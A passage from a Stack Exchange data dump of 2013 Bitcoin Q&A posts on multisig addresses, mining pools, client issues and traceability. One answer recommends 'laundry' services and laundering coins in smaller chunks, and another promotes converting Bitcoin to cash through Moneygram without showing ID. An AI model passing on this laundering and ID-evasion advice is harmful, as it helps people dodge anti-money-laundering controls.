CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11563" PostTypeId="1" AcceptedAnswerId="13439" CreationDate="2013-06-10T06:56:28.427" Score="4" ViewCount="1138" Body="&lt;p&gt;The Satoshi client has support for multi-signature transactions through the JSON-RPC API since version 0.6.1rc2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that a multi-signature transaction creates an address which is special only in that spending from it requires multiple signatures, and its prefix is '3' instead of '1'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/users/53/gavinandresen&quot;&gt;Gavin&lt;/a&gt; said &lt;a href=&quot;https://bitcointalk.org/index.php?topic=82213.msg906833#msg906833&quot; rel=&quot;nofollow noreferrer&quot;&gt;on bitcointalk.org&lt;/a&gt;, &quot;you can then send funds into that 2-of-3 transaction using the normal sendtoaddress/sendmany RPC commands, or the GUI (or anything that's been updated to recognize multisig addresses).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I read from that is that all wallet clients and web wallets might not yet support sending to addresses with a '3' prefix. How wide is that support currently?&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-09-23T05:46:42.973" Title="Do some Bitcoin wallets fail to support sending to multi-signature addresses?" Tags="|client|e-wallet|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11564" PostTypeId="2" ParentId="11562" CreationDate="2013-06-10T08:12:37.277" Score="14" Body="&lt;p&gt;The way you describe it it's not possible. The pool sends you the template of the block that you ought to be working on. Should you really find a block it is bound to the block template you received from the pool, i.e., the &lt;code&gt;nonce&lt;/code&gt; that satisfies the proof-of-work difficulty is only valid because it is valid in combination with the template. Since the block template also includes the coinbase transaction, transferring the reward to the pool operator, you cannot steal the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence you cannot work for the pool, creating valid shares, and at the same time work for yourself. You could only not submit the nonce for the valid block to the mining pool, but that would reduce your share of the reward as well.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-10T08:12:37.277" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11565" PostTypeId="1" AcceptedAnswerId="11566" CreationDate="2013-06-10T10:56:28.880" Score="0" ViewCount="687" Body="&lt;p&gt;Referenced in &lt;a href=&quot;http://forum.feathercoin.com/index.php?PHPSESSID=8v9mqrjne7iroo9kodtj8hhqd4&amp;amp;topic=1463.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; about a 51% attack on feathercoin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This would have been a hell of a lot worse without automatic coin&#xA;  choice pools. They routed a ton of hashpower at FTC. This broke the&#xA;  attacker's control of the blockchain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:49:44.660" LastActivityDate="2016-03-16T07:49:44.660" Title="What are &quot;automatic coin choice pools&quot;?" Tags="|mining-pools|majority-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11566" PostTypeId="2" ParentId="11565" CreationDate="2013-06-10T12:33:13.467" Score="1" Body="&lt;p&gt;There are some pools that reroute the computational power, depending on where they can make the most money, i.e., they maximize their utility for a fixed amount of hashing power. Apparently the huge influx of computational power triggered these automatic coin choice pools to switch to the Feathercoin network, which again triggered more pools to switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, the attacker not only had to fight against the computational power of FC, but also had to deal with the power coming from those pools, which proved to be too much, and he lost his majority.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-10T12:33:13.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11567" PostTypeId="1" AcceptedAnswerId="11568" CreationDate="2013-06-10T14:00:46.257" Score="2" ViewCount="366" Body="&lt;p&gt;On the page &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt; it shows several commands. Is this only for the bitcoin qt or can I use a more lightweight client like Electrum?&lt;/p&gt;&#xA;" OwnerUserId="5500" LastActivityDate="2013-06-10T14:12:54.110" Title="Using Bitcoin Commands" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11568" PostTypeId="2" ParentId="11567" CreationDate="2013-06-10T14:12:54.110" Score="2" Body="&lt;p&gt;This is specific to Bitcoin-QT and the bitcoind daemon. Other clients have to provide their own command line options and API to implement this functionality. Option and command names will likely differ in syntax and semantics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum for example provides &lt;a href=&quot;http://electrum.org/console.html&quot; rel=&quot;nofollow&quot;&gt;console access&lt;/a&gt; to its internals.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-10T14:12:54.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11569" PostTypeId="2" ParentId="9148" CreationDate="2013-06-10T15:56:40.630" Score="0" Body="&lt;p&gt;if you really want to see what you are going to make with such a device, use this calculator &lt;a href=&quot;http://www.coinish.com/calc/&quot; rel=&quot;nofollow&quot;&gt;http://www.coinish.com/calc/&lt;/a&gt; and set the Delivery Time to whenever you think your Miner will arrive, lets say 4 months.&#xA;You will see that with the current trend, breaking even will take much much longer&lt;/p&gt;&#xA;" OwnerUserId="5502" LastActivityDate="2013-06-10T15:56:40.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11570" PostTypeId="1" CreationDate="2013-06-10T17:27:21.117" Score="1" ViewCount="1163" Body="&lt;p&gt;I am new to btc and am using the Armory client. Yesterday I transferred some btc to wallet from my MtGox account. The wallet showed the btc received within minutes, but, after 12 hours it still shows as 'unconfirmed' in my Armory wallet, so my spendable funds is 0. Also, the status shows as not yet in the blockchain. So there is no block number assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at the referenced transaction block on blockchain, I see my amount with another transaction, the block has 109 confirmations, and a block number. So I have two questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) So it appears my Armory client isn't reflecting the block chain? What should I do? Will restarting the client cause me to lose anything? Will it update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I am under the impression that it's the recipient who pays the transfer fees. I didn't set a fee when I sent the money, but my home wallet has a default fee built in, is that all I need? Can I lose transactions if the go unconfirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) What recourse do I have. I basically sent myself the bitcoin, but it appears I cannot spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="5504" LastEditorUserId="5406" LastEditDate="2016-08-19T08:05:57.003" LastActivityDate="2016-08-19T08:05:57.003" Title="Armory client shows transaction unconfirmed" Tags="|transactions|blockchain|confirmations|rescan|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11573" PostTypeId="1" AcceptedAnswerId="11585" CreationDate="2013-06-10T21:16:54.907" Score="1" ViewCount="813" Body="&lt;p&gt;Whenever I connect miners to pushpoold (connected to litecoind), it's not updating the shares table in MySQL (which in turn means the stats on mmcfe isn't updating). I'm pretty certain the database settings are correct as pushpool can read the users table to authenticate the miners and it's not an mmcfe config because I've inspected the shares table independently of mmcfe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pushpool server.json file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;listen&quot; : [&#xA;            { &quot;host&quot;: &quot;domain.com&quot;, &quot;port&quot; : 8336 },&#xA;            { &quot;host&quot;: &quot;domain.com&quot;, &quot;port&quot; : 8337, &quot;protocol&quot; : &quot;http-json&quot; },&#xA;&#xA;            # HTTP JSON-RPC protocol, port 8339,&#xA;            # with trusted proxy appserver.example.com forwarding&#xA;            # requests to us&#xA;            #{ &quot;port&quot; : 8337, &quot;protocol&quot; : &quot;http-json&quot;,&#xA;            #  &quot;proxy&quot; : &quot;appserver.example.com&quot; },&#xA;&#xA;            # binary protocol, localhost-only port 8338&#xA;            { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 8338, &quot;protocol&quot; : &quot;binary&quot; }&#xA;&#xA;    ],&#xA;&#xA;    &quot;database&quot; : {&#xA;&#xA;            &quot;engine&quot; : &quot;mysql&quot;,&#xA;&#xA;            &quot;host&quot; : &quot;localhost&quot;,&#xA;&#xA;            &quot;port&quot; : 3306,&#xA;&#xA;            &quot;name&quot; : &quot;db&quot;,&#xA;            &quot;username&quot; : &quot;user&quot;,&#xA;            &quot;password&quot; : &quot;pass&quot;,&#xA;&#xA;            &quot;sharelog&quot; : true,&#xA;&#xA;            &quot;stmt.pwdb&quot; :&#xA;              &quot;SELECT password FROM pool_worker WHERE username = ?&quot;,&#xA;&#xA;            &quot;stmt.sharelog&quot; :&#xA;             &quot;INSERT INTO shares (rem_host, username, our_result, upstream_result, reason, solution) VALUES (?, ?, ?, ?, ?, ?)&quot;&#xA;&#xA;    },&#xA;&#xA;    &quot;memcached&quot; : {&#xA;            &quot;servers&quot; : [&#xA;                    { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 11211 }&#xA;            ]&#xA;    },&#xA;&#xA;    &quot;pid&quot; : &quot;/opt/pushpool/tmp/pushpoold.pid&quot;,&#xA;&#xA;    &quot;forcehost&quot; : &quot;localhost&quot;,&#xA;&#xA;    &quot;log.requests&quot; : &quot;/opt/pushpool/tmp/request.log&quot;,&#xA;    &quot;log.shares&quot; : &quot;/opt/pushpool/tmp/shares.log&quot;,&#xA;&#xA;    &quot;longpoll.disable&quot; : false,&#xA;&#xA;    &quot;auth.cred_cache.expire&quot; : 75,&#xA;&#xA;    &quot;rpc.url&quot; : &quot;http://127.0.0.1:8332/&quot;,&#xA;    &quot;rpc.user&quot; : &quot;user&quot;,&#xA;    &quot;rpc.pass&quot; : &quot;pass&quot;,&#xA;&#xA;    &quot;rpc.target.bits&quot; : 21,&#xA;&#xA;    &quot;work.expire&quot; : 120,&#xA;&#xA;    &quot;roll.ntime.disable&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already searched through stackexchange as well as the wider web, so I &lt;em&gt;think&lt;/em&gt; I've picked up on all the basic mistakes (eg not including stmt.sharelog and the rpc.target.bits), but I suspect this is still a configuration problem and that I've overlooked something really stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overview specs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Debian Wheezy 64bit&lt;/li&gt;&#xA;&lt;li&gt;pushpool (repo: &lt;a href=&quot;https://github.com/jgarzik/pushpool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/pushpool&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;litecoind&lt;/li&gt;&#xA;&lt;li&gt;mysql  Ver 14.14 Distrib 5.5.31, for debian-linux-gnu (x86_64) using readline 6.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5510" LastEditorUserId="5510" LastEditDate="2013-06-10T21:33:03.530" LastActivityDate="2013-06-11T12:58:32.147" Title="pushpool not updating mysql" Tags="|litecoin|pushpool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11574" PostTypeId="1" AcceptedAnswerId="11975" CreationDate="2013-06-11T03:01:28.903" Score="3" ViewCount="2476" Body="&lt;p&gt;It seems crazy to me that one of the largest exchanges could forgo including a methed in their &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; to transfer bitcoins from one address to another, but this seems to be what BTC-e has done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way to transfer bitcoins using BTC-e's API? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-04T01:52:20.483" Title="Does the BTC-e API have a method to transfer bitcoins?" Tags="|api|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11575" PostTypeId="1" CreationDate="2013-06-11T03:14:07.133" Score="1" ViewCount="1422" Body="&lt;p&gt;I've noticed that several Ripple gateways now exist, most notably Bitstamp. However, the only documentation I can find on how to create an automated gateway seems to imply that you must have OpenCoin's &lt;a href=&quot;https://github.com/ripple/rippled&quot; rel=&quot;nofollow&quot;&gt;rippled program&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone build a Ripple Gateway, or is this ability limited to OpenCoin's inner circle?&lt;/p&gt;&#xA;" OwnerUserId="5513" LastEditorUserId="2306" LastEditDate="2015-06-21T17:58:59.940" LastActivityDate="2015-06-21T17:58:59.940" Title="How do you build a Ripple gateway without rippled?" Tags="|ripple|ripple-gateways|ripple-api|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11577" PostTypeId="2" ParentId="11575" CreationDate="2013-06-11T05:10:30.440" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Gateway_Integration_Manual&quot; rel=&quot;noreferrer&quot;&gt;The documentation&lt;/a&gt; does assume you will run a local server. But anyone can build a gateway, with or without the server. To operate a gateway, you really only need to be able to process transactions just like a client does. When a transaction happens you need to know. When you need to perform a transaction, you need to perform it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the easiest way to do it is to implement the gateway's interface to the Ripple network using JavaScript and node.js -- this lets you use &lt;a href=&quot;https://github.com/rippleFoundation/ripple-lib&quot; rel=&quot;noreferrer&quot;&gt;ripple-lib&lt;/a&gt; which is a supported, open source interface to the Ripple network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to run your own server, nothing really needs to change. Just point your gateway interface to your local server instead of the public server pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever you do, please don't send your secrets to the public server pool. If you use ripple-lib, make sure local signing is on. If you use anything else, use ripple-lib's &lt;code&gt;rsign.js&lt;/code&gt; program to sign transactions for you.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-11T05:10:30.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11579" PostTypeId="2" ParentId="10964" CreationDate="2013-06-11T07:21:27.857" Score="0" Body="&lt;p&gt;Removing all block chain and retrieving it again solved this problem. I guess -rescan should help too.&lt;/p&gt;&#xA;" OwnerUserId="5060" LastActivityDate="2013-06-11T07:21:27.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11580" PostTypeId="1" AcceptedAnswerId="11583" CreationDate="2013-06-11T08:08:29.423" Score="8" ViewCount="37269" Body="&lt;p&gt;Are Bitcoins truly &lt;em&gt;&lt;strong&gt;untraceable&lt;/strong&gt;&lt;/em&gt; or only &lt;em&gt;&lt;strong&gt;pseudonymous&lt;/strong&gt;&lt;/em&gt; to certain extents?&lt;/p&gt;&#xA;" OwnerUserId="5517" LastEditorUserId="5517" LastEditDate="2021-07-07T15:28:08.413" LastActivityDate="2021-07-07T15:28:08.413" Title="How untraceable is Bitcoin?" Tags="|transactions|address|banks|bitcoin-credit-card|traceability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11581" PostTypeId="1" CreationDate="2013-06-11T08:59:28.963" Score="0" ViewCount="88" Body="&lt;p&gt;I am looking for examples of Bitcoin mining being integrated into embedded systems so that a by product of the services being provided is more Bitcoins. For example if I have a control system for a factory CHP system boiler then I would like to use that to generate bitcoins during spare cycles as well as provide a mechanism for billing and buying/selling spare capacity.&lt;/p&gt;&#xA;" OwnerUserId="5518" LastEditorUserId="5406" LastEditDate="2017-06-17T23:13:05.087" LastActivityDate="2017-06-17T23:13:05.087" Title="Are there any example of Bitcoin being used for IOT application?" Tags="|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11582" PostTypeId="2" ParentId="11581" CreationDate="2013-06-11T10:20:15.090" Score="1" Body="&lt;p&gt;That makes no economic sense. If such a thing did make economic sense, everyone would already be doing it, raising the difficulty until just the point where it no longer made sense. There is no way the bitcoins generated could justify the additional electricity consumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is equivalent to arguing that if you have a bit of ground beef left over from making tacos for your family, you can make a hamburger and sell it to compete with McDonald's. McDonald's is 100% optimized for making and selling hamburgers cheaply. There is no way you could justify the costs involved in making and sell a single hamburger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supply of newly-mined Bitcoins has a fixed, known rate. If the most efficient miners spend X dollars to mine a Bitcoin, then they will increase the amount of mining until it costs them almost X dollars to mine a Bitcoin. Unless you can compete with their efficiency, which you can't because everything about their operation is intended to maximize their efficiency, you will lose money.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-11T10:20:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11583" PostTypeId="2" ParentId="11580" CreationDate="2013-06-11T10:43:38.000" Score="11" Body="&lt;p&gt;Well, &lt;strong&gt;all transaction between Bitcoin addresses are stored forever&lt;/strong&gt;, and so are &lt;em&gt;fully traceable&lt;/em&gt;. What this means in your case is indeed that the credit card company can trace the coins you bought from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are a few things to note.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin addresses don't have a name assigned. F.e. Bitstamp will not know that the Bitcoins are coming from the credit card company because the credit card company does not have a list with all the addresses they use. An exception would be when you used a &lt;a href=&quot;https://en.bitcoin.it/wiki/Green_address&quot;&gt;green address&lt;/a&gt;. This also holds in the opposite way that the credit card company does not know you funded Bitstamp with the coins since they don't know that the address you sent the coins to is owned by Bitstamp.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoins can move around very fast. When your coins end up somewhere the credit card company &lt;em&gt;can&lt;/em&gt; link some person to, it is very likely that they are not spend by you anymore. With as few as 2 hops, the coins could have gone through an exchange and ended up by a totally different person.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot;&gt;change system&lt;/a&gt; gives you better privacy as well. When you only spend a part of the Bitcoins in an address, by default, the change - which is the part that is not spent - is send to a new address. So, when you are spending some coins at different places, the coins you still have yourself also made several hops, so it is hard to tell if they are still in your possession.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, when you really want to make sure people cannot trace transactions back to you, you could use Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Laundry&quot;&gt;laundry systems&lt;/a&gt;. These are services that take your coins, shuffle them around among many different addresses they own, and let you receive the coins - minus the commission they take - back at another address for you. When you use a sophisticated Bitcoin laundry service, it is practically impossible to trace your coins. But beware, &lt;em&gt;when dealing with very large amounts of bitcoins, this will be harder to achieve&lt;/em&gt;. Consider laundring your coins in smaller chunks.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-11T10:43:38.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11585" PostTypeId="2" ParentId="11573" CreationDate="2013-06-11T12:58:32.147" Score="0" Body="&lt;p&gt;First of all I thought that you were using a bitcoin pushpool as your primary software for a litecoin pool. But I guess you've checked that?&#xA;Otherwise, try this recomended pushpool fork instead, which worked for me: (For LTC) &lt;a href=&quot;https://github.com/ArtForz/pushpool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ArtForz/pushpool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one works for me, but ideally you would want to use the stratum software for mining purpose. (If you have clients connecting with LP/Getwork, you can add the stratum-proxy locally on your server)&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-06-11T12:58:32.147" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11587" PostTypeId="1" AcceptedAnswerId="11588" CreationDate="2013-06-11T15:19:45.867" Score="4" ViewCount="4059" Body="&lt;p&gt;Bitcoin-QT: Very long startup and at first launch needs to download the entire blockchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit: Starts up in a few seconds and downloads for only a few seconds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is Bitcoin-QT so slow?&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2013-06-11T15:44:13.647" Title="Why is bitcoin-qt startup so slow compared to MultiBit" Tags="|bitcoin-core|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11588" PostTypeId="2" ParentId="11587" CreationDate="2013-06-11T15:44:13.647" Score="4" Body="&lt;p&gt;Bitcoin-QT is slower than Multibit because Bitcoin-QT is a thick client(it downloads the entire blockchain,) whereas Multibit is a thin client(it does not download the full blockchain.)&lt;/p&gt;&#xA;" OwnerUserId="5354" LastActivityDate="2013-06-11T15:44:13.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11589" PostTypeId="2" ParentId="2844" CreationDate="2013-06-11T19:36:14.867" Score="0" Body="&lt;p&gt;If you are looking for an anonymous method of converting Bitcoins to cash, you should look at www.bitcoin-brokers.org because they will buy your Bitcoins from you and send you cash via Moneygram. They will even send you your payment without you needing to show any ID. They do this by attaching a special “question and answer” to the payment. Walk into any Moneygram with this special Q&amp;amp;A, along with the transaction number, and moneygram will release the payment to you without you ever needing to show any ID whatsoever. Completely anonymous way of converting your Bitcoins to cash.&lt;/p&gt;&#xA;" OwnerUserId="5521" LastActivityDate="2013-06-11T19:36:14.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11590" PostTypeId="2" ParentId="7697" CreationDate="2013-06-11T20:11:22.373" Score="5" Body="&lt;p&gt;The BOP Enterprise Bitcoin Server is an open source full node implementation with remote (that is client side) wallet. The server downloads the block chain does the transaction and block validation and routes transactions signed at the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client connects to the server via a message bus. There is a Java and other APIs available with added client side features. Source code: &lt;a href=&quot;https://github.com/bitsofproof/supernode&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitsofproof/supernode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commercial support and hosted instances available at &lt;a href=&quot;http://bitsofproof.com&quot; rel=&quot;noreferrer&quot;&gt;http://bitsofproof.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5522" LastActivityDate="2013-06-11T20:11:22.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11591" PostTypeId="2" ParentId="5861" CreationDate="2013-06-11T20:32:52.297" Score="6" Body="&lt;p&gt;Below extract should answer your question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;public class ECKeyPair implements Key&#xA;{&#xA;    private static final SecureRandom secureRandom = new SecureRandom ();&#xA;    private static final X9ECParameters curve = SECNamedCurves.getByName (&quot;secp256k1&quot;);&#xA;    private static final ECDomainParameters domain = new ECDomainParameters (curve.getCurve (), curve.getG (), curve.getN (), curve.getH ());&#xA;&#xA;    private BigInteger priv;&#xA;    private byte[] pub;&#xA;    private boolean compressed;&#xA;&#xA;&#xA;    public static ECKeyPair createNew (boolean compressed)&#xA;    {&#xA;        ECKeyPairGenerator generator = new ECKeyPairGenerator ();&#xA;        ECKeyGenerationParameters keygenParams = new ECKeyGenerationParameters (domain, secureRandom);&#xA;        generator.init (keygenParams);&#xA;        AsymmetricCipherKeyPair keypair = generator.generateKeyPair ();&#xA;        ECPrivateKeyParameters privParams = (ECPrivateKeyParameters) keypair.getPrivate ();&#xA;        ECPublicKeyParameters pubParams = (ECPublicKeyParameters) keypair.getPublic ();&#xA;        ECKeyPair k = new ECKeyPair ();&#xA;        k.priv = privParams.getD ();&#xA;        k.compressed = compressed;&#xA;        if ( compressed )&#xA;        {&#xA;            ECPoint q = pubParams.getQ ();&#xA;            k.pub = new ECPoint.Fp (domain.getCurve (), q.getX (), q.getY (), true).getEncoded ();&#xA;        }&#xA;        else&#xA;        {&#xA;            k.pub = pubParams.getQ ().getEncoded ();&#xA;        }&#xA;        return k;&#xA;    }&#xA;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://github.com/bitsofproof/supernode&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitsofproof/supernode&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="5522" LastActivityDate="2013-06-11T20:32:52.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11592" PostTypeId="1" AcceptedAnswerId="11819" CreationDate="2013-06-11T21:33:57.933" Score="9" ViewCount="23283" Body="&lt;p&gt;The SourceForge project page for Bitcoin provides a blockchain download at &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt; but this file is old/dated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How and where can I download an up to date copy of the Bitcoin block chain?&lt;/p&gt;&#xA;" OwnerUserId="1473" LastEditorUserId="2306" LastEditDate="2013-06-24T21:09:28.623" LastActivityDate="2018-12-14T20:34:07.960" Title="Is there a newer Bitcoin blockchain download available?" Tags="|bootstrap.dat|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11594" PostTypeId="2" ParentId="11570" CreationDate="2013-06-11T23:31:15.533" Score="1" Body="&lt;p&gt;You should launch it with the &lt;code&gt;-rescan&lt;/code&gt; option, to rescan the blockchain for missed transactions and confirmations.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-06-11T23:31:15.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11595" PostTypeId="2" ParentId="10090" CreationDate="2013-06-12T00:27:29.677" Score="4" Body="&lt;p&gt;The concept of an &quot;address balance&quot; is based on confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way Bitcoin is designed, there are three different concepts related: addresses, wallets, and accounts. Wallets are comprised of one or more accounts, each having a balance (which may even be negative). The wallet as a whole has a balance totalling the sum of all accounts (which must always be positive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses are merely entry points to a wallet; they do not have balances, and should only ever* be used once. Addresses are associated with an account: when coins are received on the address, it credits that account - note that this is a one-way association: the account is &lt;em&gt;not&lt;/em&gt; associated with the address, nor the coin received; its balance is simply increased by the amount received. When you spend bitcoins, your wallet chooses coins to spend at (more or less) random, with no concern for how they were received, and will usually use a completely new invisible address internally with itself, that you will not see as an end-user. Overall, these are some of the reasons why it makes little sense to talk about an &quot;address balance&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* While it is fairly common that people reuse addresses for deposits or donations, doing so is harmful to yourself and others using Bitcoin in a number of ways which are outside the scope of this question.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-06-12T00:27:29.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11596" PostTypeId="1" CreationDate="2013-06-12T01:21:27.923" Score="9" ViewCount="5227" Body="&lt;p&gt;I have not been able to find any method that pools use to verify you've done the work you say you did. So if someone does a solution withholding attack but without actually knowing what the solution is in a PPS pool then can't this attack just get free coins?&lt;/p&gt;&#xA;" OwnerUserId="2582" LastActivityDate="2013-09-10T20:22:43.530" Title="How does a pool know work has been done" Tags="|block-withholding|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11599" PostTypeId="2" ParentId="11596" CreationDate="2013-06-12T09:12:52.133" Score="0" Body="&lt;p&gt;A solution withholding attack is when you don't send anything to the pool. You won't get any coins at all. Pools verify you've done work by having you submit the results of your work to them -- these are called &quot;shares&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-12T09:12:52.133" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11600" PostTypeId="2" ParentId="11580" CreationDate="2013-06-12T13:52:38.590" Score="2" Body="&lt;p&gt;&lt;strong&gt;Bitcoin is perfectly transparent. Privacy relies on the steps you take to protect your identity.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Things you can do to make a tracing harder:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Use a VPN or multiple VPN.&lt;/li&gt;&#xA;  &lt;li&gt;Use Proxy or multiple Proxy.&lt;/li&gt;&#xA;  &lt;li&gt;Use Tor (Multiple Tor instances can lead to loops, better avoid that).&lt;/li&gt;&#xA;  &lt;li&gt;Take care to not use the same virtual identity twice or more.&lt;/li&gt;&#xA;  &lt;li&gt;Circulate coins between wallets. (I strongly dis-advice to use third party services for this purpose (&lt;strong&gt;like coinlaundry, change systems&lt;/strong&gt;), you could&#xA;  get in touch with coins that are involved in stuff you dont like or&#xA;  don’t want to be associated in any way.)&lt;/li&gt;&#xA;  &lt;li&gt;Encrypted communication&lt;/li&gt;&#xA;  &lt;li&gt;Use a anonymous access point (hardly applicable in most places)&lt;/li&gt;&#xA;  &lt;li&gt;Never mention your real name or send any document with your name on it&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally to 